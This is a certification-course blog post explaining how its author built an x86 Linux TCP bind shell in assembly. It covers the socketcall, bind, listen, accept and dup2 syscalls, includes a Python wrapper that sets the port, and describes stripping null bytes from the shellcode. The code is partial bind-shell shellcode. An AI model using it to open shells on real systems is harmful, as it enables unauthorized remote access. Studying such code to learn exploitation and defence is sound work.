This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
The requirements for this exam assignment were to create a TCP BIND shell within x86 assembly. Additionally ensure that the port was easily configurable. To complete this assignment I first began to research socket connections within linux. After a bit of research I found the following reference documents.
Through the research I identified the following flow towards create a network socket, listening for connections, binding a file descriptor and executing the content.
Having acquired a basic understanding for how a bind shell could work (a server listening on a port executing commands received via STDIN) i went about trying to identify the appropriate system calls that matched to the above diagram.
Initially I attempted to use to use direct socket calls. After some frustration i found that sys_socket calls were a bit my speed. Utilizing the system call resource file (unistd_32.h) i identified the relevant system call socketcall 102.
Additional research identified the net.h file and its available SYS_<socketcall> options.
From there with socket call values identified I proceeded to go through and build a basic assembly application in the following format:
Socket Here I built the socket connection. First I loaded hex 0x66 to create a socket call. Then using the structure socket (domain, type, protocol), where domain = IP, protocol = TCP, and type = sock_stream (connection oriented protocol). This returns as file descriptor within EAX.
Then it was necessary to bind the socket onto a particular port. Note for the raw assembly i bind on port 4444 but using a python wrapper this gets replaced as needed. I first built a struct (variables on a stack with a pointer to them) and then built the actual system call.
mov bl, SYS_BIND
; bind (sockfd, struct sockaddr * addr, socklen_t addrlen)
; bind (eax [4444,2],??)
; build struct sockaddr
;push input ;userinput of port bind
push word 0x5c11; port 4444 DEC -> HEX, little endian
push word AF_INET ;
push byte 0x10; length ...need to figure out how to calculate
push ecx ; point er to sockaddr
mov edi,esi ; copy fd
push esi ; fd
mov ecx,esp ; make pointer to args into ecx
In this code section it was necessary to take the socket file descriptor and have it begin listening for input.
; listen(sockfd,int backlog)
mov esi,edi ; copy fd to esi
mov al, 102
mov bl, SYS_LISTEN ; 4
push edx ; backlog
push esi ; fd =3
Next, i needed the code to accept an incoming connection on the bound port.
This part took the longest to figure out and realize what needed to take place. Ultimately I ended up reviewing others C examples to realize that the file descriptor needed to be duplicated to use it for STDIN,STDOUT and STDERROR. I opted to create a short look to iterate over a 4 times.
mov bl,al ;return value is in eax, is the new FD! ...had to fix this to make it work
; dup2 (old,new)
mov al,0x3f ; dup2 63 system call
And finally executing the incoming socket by sending it to a shell.
Below is a completed copy of the above code snippets.
To allow for quick use i created a python wrapper to allow for easy modification of the port usage.
#Author: Aaron Weathersby
#Assignment #1- Bind Shell
#created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
if len(port) < 10:
print "Port less than 10"
port='0x' + port[2:].zfill(4)
print "Padded: "+port
elif len(port) < 100:
print "Port less than 100"
port='0x' + port[2:].zfill(2)
print "Padded: "+port
elif len(port) < 1000:
print "Port less than 1000"
port='0x' + port[2:].zfill(1)
print "Padded: "+port
total = len(sys.argv)
if total != 2:
print "Usage: python slae_assignment_1.py [port]"
port = sys.argv
print "Port: "+port
port = hex(int(port))
print "Port in Hex: "+port
#Pad port incase its less than 4 Digits
print "Big Endian: "+be1 +be2
for x in bytearray(shell):
#print "Encoded: "+'\\x%02x'%x#+" X: "+str(x)
#print "\\x99 ="+ str(bytearray("\\x99"))
encoded+='%02x' % x
print "Paste this into Shellcode.c"
if __name__== "__main__":
Using objdump i extracted the machine code from the nasm file. Notably through trial and error I was able to remove all \x00 from the file. This was accomplished by substituting 16 bit registry references over 32bit ones (AL vs EAX)